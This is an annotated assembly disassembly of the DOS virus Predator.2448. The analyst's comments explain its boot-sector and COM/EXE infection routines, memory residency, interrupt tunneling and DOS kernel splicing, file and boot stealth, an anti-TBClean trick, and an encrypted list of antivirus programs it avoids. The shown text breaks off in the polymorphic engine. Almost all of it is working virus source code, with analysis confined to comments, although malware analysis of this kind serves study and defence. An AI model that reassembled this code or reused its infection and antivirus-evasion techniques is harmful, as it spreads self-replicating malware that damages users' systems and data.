; Predator #2 (Predator.2448) disasm. ; Multipartite semi-stealth polymorphic MBS/BS/COM/EXE. ; A very nicely written one. ; T-2000/IR, September - October 2000. .MODEL TINY .CODE START: PUSH ES ; Save PSP. XOR BP, BP ; We're starting from a file. MOV AX, 50FDh ; Virus' residency check. INT 13h CMP AX, 0FD50h ; Already installed? JE Return_To_Host MOV AX, ES ; Get our PSP. MOV BX, AX DEC AX ; Get our MCB. MOV DS, AX MOV AX, DS:[3] ; Size of block. SUB AX, 5984/16 ; Steal memory for virus. JC Return_To_Host ; Bail if it's too small. CMP AH, 10h ; MCB must still have over JB Return_To_Host ; 64k of memory available. MOV DS:[3], AX ; Put back the new MCB size. ADD AX, BX ; Get segment of the stolen ; memory. MOV DS:[12h], AX ; Adjust PSP DOS memory size. MOV ES, AX ; ES = virus block. XOR DI, DI ; Zero DS. MOV DS, DI SUB WORD PTR DS:[413h], 6 ; Adjust INT 12h DOS memory ; size. PUSH CS POP DS CALL Get_Delta_1 ; Obtain virus' delta offset. Get_Delta_1: POP SI SUB SI, OFFSET Get_Delta_1 MOV CX, 5970/2 ; Copy virus to stolen memory CLD ; block. *** Copying way more REP MOVSW ; than needed. MOV AX, OFFSET Hook_Ints PUSH ES ; Jump to relocated virus PUSH AX ; copy in the stolen block. RETF DB 0, 'Predator virus #2 (c) 1993 Priest - Phalcon/Skism', 0 Return_To_Host: OR BP, BP ; Running from file or boot? JZ Jump_To_Host RETF ; If from boot then just RETF ; to the original boot. Jump_To_Host: CALL Get_Delta_2 Get_Delta_2: POP SI ADD SI, (Host_Word-Get_Delta_2) PUSH CS POP DS CLD ; Grab first original word LODSW ; of the host. CMP AX, 'MZ' ; Host is of .EXE type? JE Jump_Host_EXE CMP AX, 'ZM' ; .EXE type? JE Jump_Host_EXE ; Else it's a .COM. Jump_Host_COM: POP ES ; Restore original ES. MOV DI, 100h PUSH DI STOSW ; Restore .COM entrypoint. MOVSB POP DI PUSH ES POP DS CALL Anti_TBClean ; Do an anti TBClean trick. PUSH DS PUSH DI XOR AX, AX RETF ; Pass control back to host. Jump_Host_EXE: POP AX ; Current PSP. MOV BX, AX ADD AX, (100h/16) ; Plus size of PSP. ADD [SI+2], AX ; Add effective segment to ; host's CS. ADD AX, [SI+6] ; Same with SS. LES DI, [SI] CALL Anti_TBClean ; Anti TBClean trick. CLI MOV SS, AX ; Restore host's stack. MOV SP, [SI+4] MOV ES, BX ; Restore segment registers. MOV DS, BX XOR AX, AX STI JMP DWORD PTR CS:[SI] ; Pass control back to host. ; Make TBClean think the virus restored the host's original entrypoint ; while infact it has not, so TBCleaned files won't work. Anti_TBClean: PUSH AX PUSH ES:[DI] ; Save original entrypoint ; bytes. ; Temporarily put a RETF there. MOV BYTE PTR ES:[DI], 0CBh ; RETF CALL Get_Delta_3 Get_Delta_3: POP AX ADD AX, (Return_To_Virus-Get_Delta_3) PUSH CS PUSH AX PUSH ES ; Temporarily jump to host. PUSH DI RETF Return_To_Virus: POP ES:[DI] ; Restore original entrypoint POP AX ; byte, and AX. RETN Hook_Ints: PUSH CS POP DS MOV AL, 13h ; Save INT 13h first. MOV DI, OFFSET Real_Int13h MOV CX, 2 Get_Int_Loop: CALL Get_Int ; Fetch INT address. MOV DX, ES PUSH CS POP ES XCHG BX, AX CLC Store_Int_Word: CLD ; Store offset/segment word. STOSW MOV [DI+2], AX ; Store it for a 2nd time. XCHG DX, AX ; Swap offset & segment. CMC ; Looped 2 times yet? JC Store_Int_Word ; Else go again. ADD DI, 4 ; After the 2nd stored copy. DEC CX ; Looped 3 times yet? JS Hook_Int13h ; Then we're done. MOV AL, 21h ; Now save INT 21h. JNZ Get_Int_Loop MOV AL, 40h ; And after that, INT 40h. JMP SHORT Get_Int_Loop Hook_Int13h: MOV AL, 13h ; Hook INT 13h. MOV DX, OFFSET Virus_Int13h CALL Set_Int ; Generate JMP Virus_Seg:Virus_Offs. MOV FAR_JMP, 0EAh MOV FAR_JMP_IP, OFFSET Virus_Int21h MOV FAR_JMP_CS, CS MOV AH, 01h ; Get status of HDD's last MOV DL, 80h ; operation. INT 13h OR AH, AH ; If it was an error then JZ Init_Variables ; assume no HDD is present. ; INT 40h is only used when a harddisk is present, ; if none is, then just use INT 13h instead. MOV SI, OFFSET Real_Int13h MOV DI, OFFSET Real_Int40h MOVSW MOVSW MOVSW MOVSW Init_Variables: MOV Splice_Switch, 0C3h ; Don't splice INT 21h. MOV Check_DOS_load, 0 ; Check for DOS load. OR BP, BP ; Running from a file? JNZ Infect_HDD ; Else go infect the HDD. ; Don't check for DOS loading. MOV Check_DOS_load, (Chk_Boot_Read-Check_DOS_load)-1 CALL Tunnel_Ints ; Fetch address of DOS kernel. LDS DI, DWORD PTR CS:Real_Int21h ; If the DOS kernel begins with a JMP FAR or INT 03h ; then instead of splicing INT 21h, hook it in the IVT. ; Probably to avoid clashing with other software that ; hooks INT 21h this way, like Novell. CMP BYTE PTR [DI], 0EAh ; JMP xxxx:xxxx ? JE Hook_Int21h CMP BYTE PTR [DI], 0CCh ; INT 03h breakpoint? JE Hook_Int21h ; Switch the INT 21h splicing back on. MOV CS:Splice_Switch, 50h ; PUSH AX CALL Swap_JMP JMP SHORT Infect_HDD Hook_Int21h: PUSH CS POP DS MOV DX, OFFSET Virus_Int21h ; Hook INT 21h manually. MOV AL, 21h CALL Set_Int Infect_HDD: PUSH CS PUSH CS POP ES POP DS MOV AX, 0201h ; Read MBS of 1st HDD. MOV BX, OFFSET Buffer MOV CX, 1 MOV DX, 80h CALL Do_Real_Int13h JC JMP_Ret_Host CALL Check_If_Infected ; Is it already infected? JE JMP_Ret_Host CALL Crypt_Boot ; Encrypt the MBS. CALL Encrypt_Body ; And the virus body. INC CX ; Write original MBS/BS + MOV AX, 0306h ; virusbody starting at CALL Do_Real_Int13h ; sector 2 of the zero track. JC JMP_Ret_Host CALL Crypt_Boot ; Decrypt the MBS back. CALL Infect_Boot ; Infect it. MOV AX, 0301h ; Write infected MBS back. DEC CX CALL Do_Real_Int13h JMP_Ret_Host: JMP Return_To_Host Check_If_Infected: PUSH CX PUSH SI PUSH DI MOV CX, 8 ; Compare first 8 bytes of MOV DI, OFFSET Buffer ; MBS/BS with virus boot MOV SI, OFFSET Boot_Loader ; loader. CLD REPE CMPSB POP DI POP SI POP CX RETN Infect_Boot: PUSH AX PUSH BX PUSH CX PUSH DX PUSH DI PUSH SI MOV AX, -1 ; Get a random initial CALL Random_AX ; encryption key. MOV Init_Decr_Key, AX ; Store it. INC CX ; CX = start sector of body. MOV Virus_Body_TS, CX AND DL, 80h ; Either drive A: or C: ; *** This will fuck up the ; stealth if more than 1 ; HDD/FDD is present. MOV Virus_Body_HD, DX MOV DI, OFFSET Buffer ; Copy virus bootloader into MOV SI, OFFSET Boot_Loader ; bootsector. MOV CX, Encrypted_Boot-Boot_Loader CLD REP MOVSB XCHG CX, AX ; CX = random encryption key. MOV BX, ((Tunnel_Ints-Encrypted_Boot)+1)/2 Encrypt_Boot_L: LODSW ; Encrypt the bootloader. ROL AX, CL STOSW ROL CX, 1 DEC BX JNZ Encrypt_Boot_L POP SI POP DI POP DX POP CX POP BX POP AX RETN Crypt_Boot: PUSH CX PUSH DI PUSH SI MOV DI, OFFSET Buffer MOV CX, 512/2 Crypt_Boot_W: NOT WORD PTR [DI] INC DI INC DI LOOP Crypt_Boot_W POP SI POP DI POP CX RETN ; I dunno what this is/does, perhaps ; another encrypted text? DB 090h, 0CAh, 0E4h, 0CAh, 040h, 0C6h DB 0DEh, 0DAh, 0CAh, 0E6h, 040h, 0E8h DB 0D0h, 0CAh, 040h, 0A0h, 0E4h, 0CAh DB 0C8h, 0C2h, 0E8h, 0DEh, 0E4h, 042h Encrypt_Body: PUSH CX PUSH DI PUSH SI MOV CX, (2448-22)/2 MOV DI, OFFSET Buffer+512 XOR SI, SI CLD Encrypt_Virus: LODSW ; Fetch word from virusbody. ROR AX, CL ; Encrypt it. STOSW ; Put it in the buffer. LOOP Encrypt_Virus ; Do the whole virusbody. POP SI POP DI POP CX RETN Boot_Loader: CLI MOV DI, 7C00h+(Encrypted_Boot-Boot_Loader) MOV AX, ((Tunnel_Ints-Encrypted_Boot)+1)/2 MOV CX, 0 Init_Decr_Key = WORD PTR $-2 Decrypt_Boot: ROR WORD PTR CS:[DI], CL ROL CX, 1 INC DI INC DI DEC AX JNZ Decrypt_Boot Encrypted_Boot: MOV SS, AX ; Set up a stack. MOV SP, 0FFFEh STI MOV DS, AX ; DS = IVT. MOV BX, AX SUB WORD PTR DS:[413h], 6 ; Steal 6k of DOS memory to ; hide in. INT 12h ; Get new memory count. MOV CL, (16-6) ; Calculate segment to hide ROR AX, CL ; in (anti-heuristic). MOV ES, AX XCHG BP, AX MOV AX, 0205h ; Read virusbody off disk. MOV CX, 0 Virus_Body_TS = WORD PTR $-2 MOV DX, 0 Virus_Body_HD = WORD PTR $-2 PUSH AX PUSH CX INT 13h JNC Go_Decr_Body INT 18h ; ROM BASIC. Go_Decr_Body: MOV DI, BX MOV CX, (2448-22)/2 Decrypt_Body: ROL WORD PTR ES:[DI], CL ; Decrypt virusbody. INC DI INC DI LOOP Decrypt_Body MOV ES, BX MOV DI, 7C00h-(Tunnel_Ints-Relocator) MOV CX, Encrypted_Boot-Boot_Loader MOV SI, 7C00h+(Relocator-Boot_Loader) CLD REP MOVSB MOV [DI-2], BP ; Put virus segment in ; relocator. POP CX ; CX = startsector of virus. POP AX ; AX = 0205h. MOV AL, 1 ; 1 sector. MOV BX, DI ; BX = 7C00h. DEC CX ; CX = original MBS/BS. ; Now jump to the relocator just before 7C00h. JMP SHORT Boot_Loader-(Tunnel_Ints-Relocator) Relocator: INT 13h ; Read the original encrypted JNC Go_Decr_7C00h ; MBS/BS. INT 18h ; On error call ROM BASIC. Go_Decr_7C00h: MOV CX, 512/2 Decrypt_7C00h: NOT WORD PTR [DI] ; Decrypt the original MBS/BS INC DI ; right in front of us. INC DI LOOP Decrypt_7C00h DB 9Ah ; CALL xxxx:xxxx opcode, DW OFFSET Hook_Ints, 0 ; (pushes 0:7C00h on stack). Tunnel_Ints: MOV AH, 52h ; Get MS-DOS's internal list INT 21h ; of lists. MOV AX, ES:[BX-2] ; Save segment of 1st MCB. MOV Start_MCB, AX MOV AL, 01h ; Save original INT 01h. CALL Get_Int PUSH BX MOV DX, OFFSET Virus_Int01h ; Install own INT 01h CALL Set_Int ; handler. MOV Tunnel_Mode, 0 ; Tunnel INT 13h. PUSHF ; Set the TF. POP BX OR BH, 01h PUSH BX POPF MOV AH, 01h ; Tunnel dummy function. CALL Do_Real_Int13h MOV Tunnel_Mode, 1 ; Tunnel INT 21h. PUSH BX ; Set TF again. POPF MOV AH, 30h ; Tunnel dummy function. CALL Do_Real_Int21h MOV Tunnel_Mode, 2 ; Tunnel INT 40h. PUSH BX POPF MOV AH, 01h ; Tunnel dummy function. CALL Do_Real_Int40h AND BH, NOT 01h ; Disable TF just in case PUSH BX ; the original entrypoints POPF ; were not found. POP DX PUSH ES POP DS MOV AL, 01h ; Restore original INT 01h. CALL Set_Int RETN Virus_Int01h: PUSH BP MOV BP, SP PUSH AX PUSH DS PUSH CS POP DS MOV AX, [BP+(2*2)] ; CS of current instruction. CMP Tunnel_Mode, 1 ; Tunneling INT 21h ? JNE Chk_Int13h_Tun CMP AX, Start_MCB ; We're in the DOS kernel? JA Exit_Int01h MOV Real_Int21h+2, AX ; Save tunneled address. MOV AX, [BP+(1*2)] MOV Real_Int21h, AX ; Disable the TF in the stack. Disable_TF: AND WORD PTR [BP+6], NOT 0100h Exit_Int01h: POP DS POP AX POP BP IRET Chk_Int13h_Tun: CMP Tunnel_Mode, 2 ; Tunneling INT 13h/40h ? JA Chk_Step_Count ; Nope, then go step. CMP AX, 0C800h ; Below diskcontroller code? JB Exit_Int01h ; (INT 13h of old XT's). CMP AX, 0F000h ; Above standard JA Exit_Int01h ; diskcontroller code? PUSH DI MOV DI, OFFSET Real_Int13h CMP Tunnel_Mode, 0 ; Tunneling INT 13h ? JZ Store_Disk_Int ADD DI, (Real_Int40h-Real_Int13h) Store_Disk_Int: MOV [DI+2], AX ; Save tunneled address. MOV AX, [BP+(1*2)] MOV [DI], AX POP DI JMP SHORT Disable_TF Chk_Step_Count: DEC Step_Count ; IP is far away enough of JNZ Exit_Int01h ; JMP_Virus_ISR zone ? CALL Swap_JMP ; Then swap the JMP back in. MOV AL, 01h ; Restore original INT 01h. PUSH DX LDS DX, DWORD PTR Old_Int01h CALL Set_Int POP DX JMP SHORT Disable_TF ; This swaps a JMP_Virus_ISR in and out the DOS kernel, this technique ; is used to evade behaviour blockers that monitor the IVT for hooks. Swap_JMP: Splice_Switch DB 0 PUSH CX PUSH DI PUSH SI PUSH DS PUSH ES PUSHF PUSH CS POP DS MOV SI, OFFSET FAR_JMP LES DI, DWORD PTR Real_Int21h MOV CX, 5 CLD Swap_Byte: LODSB ; Swap 5 bytes. XCHG ES:[DI], AL MOV [SI-1], AL INC DI LOOP Swap_Byte POPF POP ES POP DS POP SI POP DI POP CX POP AX RETN Get_Int: PUSH AX PUSH DS CBW ; Clear AH. SHL AX, 1 ; INT # MUL 4. SHL AX, 1 XCHG BX, AX XOR AX, AX ; DS = IVT. MOV DS, AX LES BX, [BX] ; Get INT address in ES:BX. POP DS POP AX RETN Set_Int: PUSH AX PUSH BX PUSH DS PUSH ES CBW ; Clear AH. SHL AX, 1 ; INT # MUL 4. SHL AX, 1 XCHG BX, AX XOR AX, AX ; ES = IVT. MOV ES, AX MOV ES:[BX], DX ; Set the new address. MOV ES:[BX+2], DS POP ES POP DS POP BX POP AX RETN ; XOR 0FFh encrypted: 'THE PREDATOR'. DB 0ABh, 0B7h, 0BAh, 0DFh, 0AFh, 0ADh DB 0BAh, 0BBh, 0BEh, 0ABh, 0B0h, 0ADh Virus_Int13h: DB 0EBh ; JMP SHORT opcode. Check_DOS_load DB 0 CALL Push_All MOV AL, 21h ; Get INT 21h. CALL Get_Int PUSH CS POP DS MOV DI, OFFSET Real_Int21h CMP [DI], BX ; Has it changed since the JNE Check_DOS_Seg ; virus took it? Exit_DOS_Check: CALL Pop_All JMP SHORT Chk_Boot_Read Check_DOS_Seg: MOV AX, ES PUSH CS POP ES CMP AX, 800h ; DOS has hooked it yet? JA Exit_DOS_Check CLD CLC Store_DOS_Addr: XCHG BX, AX ; Save INT 21h address. STOSW MOV [DI+2], AX CMC ; Store two copies of JC Store_DOS_Addr ; INT 21h. MOV Check_DOS_load, (Chk_Boot_Read-Check_DOS_load)-1 MOV AL, 21h ; Manually hook INT 21h. MOV DX, OFFSET Virus_Int21h CALL Set_Int JMP SHORT Exit_DOS_Check Chk_Boot_Read: CMP AH, 02h ; Sector read? JNE Check_TSR_Mark CMP CX, 1 ; It's the MBS/BS ? JNE Check_TSR_Mark CMP DH, 0 ; Head zero? JZ Do_Boot_Read Check_TSR_Mark: CMP AX, 50FDh ; Virus' residency check? JNE JMP_Old_Int13h MOV AX, 0FD50h ; Return marker. Do_RETF_2: RETF 2 ; Return to caller. JMP_Old_Int13h: JMP DWORD PTR CS:Old_Int13h ; JMP to previous ISR. Do_Boot_Read: CALL Do_Old_Int13h ; Carry out the read. JC Do_RETF_2 ; Bail on error. CALL Push_All MOV DI, OFFSET Buffer PUSH ES PUSH CS POP ES POP DS MOV SI, BX ; Copy read MBS/BS to buffer. MOV CX, 512/2 CLD REP MOVSW PUSH DS PUSH CS POP DS CALL Check_If_Infected ; Is it infected? POP ES JNE Check_If_HDD ; If not, then infect if it ; it's a floppy disk. ; Else stealth it. MOV DI, OFFSET Buffer+(Encrypted_Boot-Boot_Loader) MOV CX, [DI-(Encrypted_Boot-Init_Decr_Key)] MOV AX, ((Tunnel_Ints-Encrypted_Boot)+1)/2 Decr_Loader: ROR WORD PTR [DI], CL ; Decrypt bootloader to get ROL CX, 1 ; the stored location of the ; original MBS/BS. INC DI INC DI DEC AX JNZ Decr_Loader CALL Pop_All PUSH BX PUSH CX PUSH DX ; Read original encrypted MBS/BS. MOV AX, 0201h MOV CX, CS:[(Buffer-START)+(Virus_Body_TS-Boot_Loader)] MOV DH, CS:[(Buffer-START)+(Virus_Body_HD-Boot_Loader)+1] DEC CX CALL Do_Disk_Int PUSHF MOV CX, 512/2 Decr_Real_Boot: NOT WORD PTR ES:[BX] ; Decrypt original MBS/BS. INC BX INC BX LOOP Decr_Real_Boot POPF POP DX POP CX POP BX JMP SHORT Do_RETF_2 Pop_All_RETF_2: CALL Pop_All JMP SHORT Do_RETF_2 Check_If_HDD: CMP DL, 80h ; Stealth floppies/harddisks JAE Pop_All_RETF_2 ; but only infect floppies. PUSH CS POP ES MOV SI, DX MOV DI, OFFSET Buffer ; Now calculate the floppy disk's last ; track and write the virus there. MOV AX, [DI+18h] ; Sectors per track. SUB [DI+13h], AX ; Steal 1 track from total ; sector count. MOV CX, AX ; Get original sector count. ADD AX, [DI+13h] OR AX, AX ; Test for validity. JZ Pop_All_RETF_2 JCXZ Pop_All_RETF_2 ; Test for validity. XOR DX, DX ; Calculate total amount of DIV CX ; tracks. OR DX, DX ; Test for validity. JNZ Pop_All_RETF_2 MOV BX, [DI+1Ah] ; Number of heads. OR BX, BX ; Test for validity. JZ Pop_All_RETF_2 DIV BX ; Calculate amount of tracks ; per head. OR DX, DX ; Test for validity again. JNZ Pop_All_RETF_2 MOV DX, SI ; DX = head/drive. DEC BX ; Last head, starting with 0. MOV DH, BL DEC AX ; Last track, starting with MOV CH, AL ; 0. MOV CL, 1 ; Starting from sector 1. MOV BX, DI ; BX = offset Buffer. CALL Crypt_Boot ; Encrypt original BS. CALL Encrypt_Body MOV AX, 0306h ; Write original MBS/BS + MOV BX, OFFSET Buffer ; virus body to floppy. CALL Do_Real_Int40h JC Pop_All_RETF_2 CALL Crypt_Boot ; Decrypt original BS back. CALL Infect_Boot ; Infect it. MOV AX, 0301h ; Write infected bootsector. MOV CX, 1 XOR DH, DH CALL Do_Real_Int40h CALL Pop_All PUSHF ; Save flags and status byte. PUSH AX ; Stealth the total sector count in the read ; bootsector that wasn't stealthed yet. MOV AX, ES:[BX+18h] ; Total sectors per track. SUB ES:[BX+13h], AX ; Total sector count. POP AX POPF JMP Do_RETF_2 Virus_Int21h: CALL Swap_JMP ; Remove JMP from DOS-kernel. CALL Push_All MOV AL, 01h ; Get original INT 01h. CALL Get_Int PUSH CS POP DS MOV Old_Int01h, BX ; And save it. MOV Old_Int01h+2, ES ; Initialize to not let the tracer swap back the JMP. MOV Trace_Swap, (Swap_JMP_Back-Trace_Swap)-1 CALL Pop_All CMP AH, 11h ; Findfirst (FCB) ? JE Do_FCB_Stealth CMP AH, 12h ; Findnext (FCB) ? JNE Check_Txt_St Do_FCB_Stealth: CALL Do_Old_Int21h ; Do the call. CALL Push_All OR AL, AL ; Success? JNZ Exit_FCB_St MOV BX, DX ; Get drive from FCB. MOV CL, [BX] MOV AH, 2Fh ; Get current DTA. CALL Do_Real_Int21h INC CL ; It's an extended FCB ? JNZ Check_FCB_Date ADD BX, 7 ; Then skip extended shit. ; Years are >= 2080 ? Then it's infected. Check_FCB_Date: CMP BYTE PTR ES:[BX+1Ah], 0C8h JB Exit_FCB_St ; Restore original year field. SUB BYTE PTR ES:[BX+1Ah], 0C8h ; Restore original filesize. SUB WORD PTR ES:[BX+1Dh], 2448 SBB WORD PTR ES:[BX+1Dh+2], 0 Exit_FCB_St: JMP Exit_Int21h Check_Txt_St: CMP AH, 4Eh ; Findfirst (ASCIIZ) ? JE Do_Txt_Stealth CMP AH, 4Fh ; Findnext (ASCIIZ) ? JNE Enable_Trace_S Do_Txt_Stealth: CALL Do_Old_Int21h CALL Push_All MOV AH, 2Fh ; Obtain current DTA. CALL Do_Real_Int21h ; Years are >= 2080 ? Then it's infected. CMP BYTE PTR ES:[BX+19h], 0C8h JB Exit_Txt_St ; Restore original year field. SUB BYTE PTR ES:[BX+19h], 0C8h ; Restore original filesize. SUB WORD PTR ES:[BX+1Ah], 2448 SBB WORD PTR ES:[BX+1Ah+2], 0 Exit_Txt_St: JMP Exit_Int21h Enable_Trace_S: MOV CS:Trace_Swap, 0 ; All the other calls could ; possibly not return to the ; caller, so enable tracer. CALL Push_All CMP AH, 3Dh ; File open? JE Set_New_Int24h CMP AH, 4Bh ; File execute? JE Check_For_Exec CMP AH, 6Ch ; Extended file open? JNE Exit_Int21h TEST CL, 00000100b ; Don't infect system files. JNZ Exit_Int21h MOV DX, SI ; DS:DX = path. JMP SHORT Set_New_Int24h Check_For_Exec: OR AL, AL ; Only infect on execute. JNZ Exit_Int21h Set_New_Int24h: PUSH DX PUSH DS PUSH CS POP DS MOV AL, 24h ; Save original INT 24h. CALL Get_Int MOV DX, OFFSET Virus_Int24h ; Install dummy critical CALL Set_Int ; error handler. POP DS POP DX PUSH AX PUSH BX PUSH ES CALL Check_File_Name ; Don't infect several AV's. JC Restore_Int24h MOV AX, 4300h ; Get file's attributes. CALL Do_Real_Int21h JC Restore_Int24h TEST CL, 00000100b ; Can't be a system file. JNZ Restore_Int24h MOV AX, 4301h PUSH AX ; Save file's attributes for PUSH CX ; later. PUSH DX PUSH DS XOR CX, CX ; Blank file's attributes. CALL Do_Real_Int21h JC Restore_Attr MOV AX, 3D02h ; Open the file. CALL Do_Real_Int21h JC Restore_Attr XCHG BX, AX ; BX = file handle. PUSH CS POP DS MOV AX, 5700h ; Get file date & time. INT 21h JC Close_File CMP DH, 0C8h ; File is already infected? JAE Close_File ; (year field >= 2080). PUSH CX PUSH DX CALL Infect_File POP DX POP CX JC Close_File ADD DH, 0C8h ; Restore original time and MOV AX, 5701h ; date stamp with 100 years CALL Do_Real_Int21h ; added. Close_File: MOV AH, 3Eh ; Close the file. CALL Do_Real_Int21h Restore_Attr: POP DS ; Restore file attributes. POP DX POP CX POP AX CALL Do_Real_Int21h Restore_Int24h: POP DS ; Restore original INT 24h. POP DX POP AX CALL Set_Int Exit_Int21h: CALL Pop_All ; Restore registers. DB 0EBh ; JMP SHORT opcode. Trace_Swap DB 0 CALL Push_All PUSH CS POP DS MOV Tunnel_Mode, 3 ; JMP swap trace mode. MOV Step_Count, 5 ; Swap JMP back after five ; instructions have executed. ; *** This should be 6, cause ; the JMP INT 21h later on ; is traced aswell, so when ; the DOS kernel starts with ; 5 1-byte instructions, the ; JMP will be swapped in too ; early. MOV AL, 01h ; Hook tracer up. MOV DX, OFFSET Virus_Int01h CALL Set_Int CALL Pop_All PUSH AX PUSHF ; Enable TF. POP AX OR AH, 01h PUSH AX POPF POP AX ; Start single stepping through INT 21h and ; swap the JMP back in after 5 instructions. JMP DWORD PTR CS:Real_Int21h Swap_JMP_Back: CALL Swap_JMP RETF 2 Infect_File: MOV AH, 3Fh ; Read file's header. MOV CX, 24 MOV DX, OFFSET File_Header CALL Do_Real_Int21h JC Bad_Infect SUB CX, AX ; All bytes were read? JNZ Bad_Infect MOV SI, DX ; SI = file header. MOV AX, 4202h ; Get file length. CWD CALL Do_Real_Int21h XCHG CX, AX ; Lower word of filesize. CLD ; Save first word of host. LODSW MOV Host_Word, AX CMP AX, 'ZM' ; File is EXE type? JE Go_Infect_Hdr CMP AX, 'MZ' ; File is EXE type? JE Go_Infect_Hdr OR DI, DI ; If extension is '.COM' DI JNZ Bad_Infect ; will be zero. OR DX, DX ; .COM can't be bigger than JNZ Bad_Infect ; 64k in length. CMP CX, 0-(2448+1000) ; Don't infect .COM's too big JA Bad_Infect ; in length either. CMP CX, 1000 ; Nor too small. JB Bad_Infect MOV AL, [SI] ; Save 3rd byte of host. MOV BYTE PTR Host_IP, AL SUB CX, 3 ; Calculate displacement. MOV BYTE PTR [SI-2], 0E9h ; Replace entrypoint with MOV [SI-1], CX ; a JMP to the virus code. ADD CX, 100h+3 ; Save runtime delta offset XCHG CX, AX ; in AX for poly engine. JMP SHORT Write_Virus Go_Infect_Hdr: CALL Infect_EXE_Header Write_Virus: PUSH CS POP ES CALL Poly_Engine ; Polymorphic encrypt virus. MOV AH, 40h ; Append virus to host. MOV CX, 2448 MOV DX, OFFSET Buffer+512 CALL Do_Real_Int21h JC Bad_Infect SUB CX, AX ; All bytes were written? JNZ Bad_Infect MOV AX, 4200h ; Seek to file header. CWD CALL Do_Real_Int21h JC Bad_Infect MOV AH, 40h ; Write updated header back. MOV CX, 24 MOV DX, OFFSET File_Header CALL Do_Real_Int21h CLC RETN Bad_Infect: STC RETN Infect_EXE_Header: PUSH BX LES AX, [SI+12h] ; Save host's CS:IP. MOV Host_IP, AX MOV Host_CS, ES LES AX, [SI+0Ch] ; Save host's SS:SP. MOV Host_SS, AX MOV Host_SP, ES PUSH CS POP ES XCHG CX, AX ; DX:AX = hostsize. MOV BX, AX ; Save hostsize in DI:BX. MOV DI, DX MOV CX, 512 ; Calculate count of 512-byte DIV CX ; pages. INC AX ; Round upwards. CMP [SI+02h], AX ; Same as header says? JNE Bad_Header_Inf ; Else the file has overlays. CMP [SI], DX ; Also verify image size JNE Bad_Header_Inf ; modulo 512. ADD AX, 2448/512 ADD DX, 2448 MOD 512 CMP DX, 512 ; DX exceeds 512 ? CMC ; Flip CF. ADC AX, 0 ; Add 1 to AX if DX >= 512. AND DH, 511 SHR 8 ; DX modulo 512. MOV [SI+02h], AX ; Set new image size. MOV [SI], DX MOV DX, DI ; Save hostsize in DX:AX. XCHG BX, AX MOV BX, [SI+06h] ; DI:BX = headersize in XOR DI, DI ; paragraphs. MOV CX, 4 ; MUL 16. Multiply_DI_BX: SHL BX, 1 ; Calculate headersize in RCR DI, 1 ; bytes. LOOP Multiply_DI_BX SUB AX, BX ; Calculate imagesize. SBB DX, DI MOV BX, 0-(2448+1000) Check_IP_Range: CMP AX, BX ; IP isn't too large? (else JB Check_Size ; (virus crosses segments). SUB AX, 16 ; 16 bytes down. INC DX ; 1 segment up. JMP SHORT Check_IP_Range Check_Size: CMP DX, 15 ; Too big? JA Bad_Header_Inf MOV CL, 4 ; DIV 1024. ROR DX, CL MOV [SI+12h], AX ; Set new CS:IP for host. MOV [SI+14h], DX PUSH AX ; Save IP for engine. SUB AX, BX ; Calculate new SP. AND AL, 11111110b ; SP must always be even. MOV [SI+0Eh], AX ; Set new SP. ADD DX, (256/16) ; Set new SS. MOV [SI+0Ch], DX SHR AX, CL ; Update MinMemSize to also ADD [SI+08h], AX ; hold the stack. POP AX CMP WORD PTR [SI+0Ah], -1 ; MaxMemSize must allocate JNE Bad_Header_Inf ; all available memory. POP BX ; Restore file handle. CLC RETN Bad_Header_Inf: POP BX STC RETN Check_File_Name: PUSH DS POP ES MOV DI, DX MOV CX, 80 XOR AX, AX ; Find end of ASCIIZ. CLD REPNE SCASB JNZ Bad_File STD MOV SI, DI XOR DI, DI MOV CX, 5 LODSB ; Zero terminator of path. PUSH SI Checksum_Ext: LODSB ; Fetch byte from extension. AND AL, 0DFh ; Convert to uppercase. XOR DI, AX ; Update checksum with byte. SHL DI, CL LOOP Checksum_Ext SUB DI, 25C4h ; Result is 0 if extension ; was '.COM'. POP SI PUSH DI CALL Check_For_AV_File POP DI JC Bad_File CLC RETN Bad_File: STC RETN Check_For_AV_File: PUSH CS POP ES MOV CX, 7 ; Check for 7 AV filenames. MOV DI, OFFSET AV_File_List Compare_Name: PUSH CX PUSH DI PUSH SI MOV BX, 10 Compare_Pos: MOV CX, 4 PUSH DI Compare_Byte: STD LODSB AND AL, 0DFh ; Convert to uppercase. XOR AL, 0ADh ; Encrypt character. CLD ; It matches? SCASB LOOPE Compare_Byte ; Loop while it does. POP DI JE Is_AV_File CMP SI, DX ; Reached start of path? JE Go_Next_Name DEC BX JNZ Compare_Pos Go_Next_Name: POP SI POP DI POP CX ADD DI, 4 ; Next AV filename. LOOP Compare_Name CLC RETN Is_AV_File: POP SI POP DI POP CX STC RETN Virus_Int24h: MOV AL, 03h IRET Push_All: POP CS:Return_Address PUSHF PUSH AX PUSH BX PUSH CX PUSH DX PUSH DI PUSH SI PUSH DS PUSH ES JMP CS:Return_Address Pop_All: POP CS:Return_Address POP ES POP DS POP SI POP DI POP DX POP CX POP BX POP AX POPF JMP CS:Return_Address Do_Disk_Int: CMP DL, 80h ; Call is destined for HDD ? JAE Go_Call_Int13h ; Then use INT 13h. CALL Do_Real_Int40h ; Else use INT 40h. RETN Go_Call_Int13h: CALL Do_Real_Int13h ; *** These two instructions RETN ; aren't needed. Do_Real_Int13h: PUSHF CALL DWORD PTR CS:Real_Int13h RETN Do_Old_Int13h: PUSHF CALL DWORD PTR CS:Old_Int13h RETN Do_Real_Int21h: PUSHF CALL DWORD PTR CS:Real_Int21h RETN Do_Old_Int21h: PUSHF CALL DWORD PTR CS:Old_Int21h RETN Do_Real_Int40h: PUSHF CALL DWORD PTR CS:Real_Int40h RETN Do_Old_Int40h: PUSHF ; *** Routine is never used. CALL DWORD PTR CS:Old_Int40h RETN ; Reversed and encrypted with XOR 0ADh: AV_File_List: DB 0F9h, 0E2h, 0FFh, 0FDh ; PROT (F-prot). DB 0E3h, 0ECh, 0EEh, 0FEh ; SCAN (McAfee Scan). DB 0ECh, 0E8h, 0E1h, 0EEh ; CLEA (McAfee Clean). DB 0EBh, 0ECh, 0FEh, 0FBh ; VSAF (VSafe). DB 0FBh, 0ECh, 0FDh, 0EEh ; PCAV (PC-Tools AV). DB 0A3h, 0FBh, 0ECh, 0E3h ; NAV. (Norton AV). DB 0E2h, 0EEh, 0E8h, 0E9h ; DECO (?). Host_Word DW 20CDh Host_IP DW 0 Host_CS DW 0 Host_SP DW 0 Host_SS DW 0 Random_Seed DW 0 ; A humble 'polymorphic' engine, all it does actually is use ; a random decryption algorithm in the static decryptors. Can ; easily be detected using a wildcard scanstring. Poly_Engine: PUSH BX PUSH BP XCHG 